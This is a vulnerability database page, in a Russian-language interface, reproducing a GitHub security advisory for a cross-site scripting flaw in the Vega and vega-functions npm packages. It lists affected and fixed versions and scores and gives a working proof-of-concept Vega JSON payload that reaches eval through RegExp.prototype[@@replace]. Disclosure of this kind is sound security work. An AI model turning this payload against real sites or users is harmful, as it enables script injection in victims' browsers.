Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-963h-3v39-3pqf

Опубликовано: 27 мар. 2025
Источник: github
Github: Прошло ревью
CVSS4: 5.3

Описание

Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]

Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}

Пакеты

Наименование

vega

npm
Затронутые версииВерсия исправления

< 5.32.0

5.32.0

Наименование

vega-functions

npm
Затронутые версииВерсия исправления

< 5.17.0

5.17.0

EPSS

Процентиль: 61%
0.00413
Низкий

5.3 Medium

CVSS4

Дефекты

CWE-79
CWE-87

Связанные уязвимости

ubuntu
11 месяцев назад

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.

nvd
11 месяцев назад

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.

debian
11 месяцев назад

Vega is a visualization grammar, a declarative format for creating, sa ...

EPSS

Процентиль: 61%
0.00413
Низкий

5.3 Medium

CVSS4

Дефекты

CWE-79
CWE-87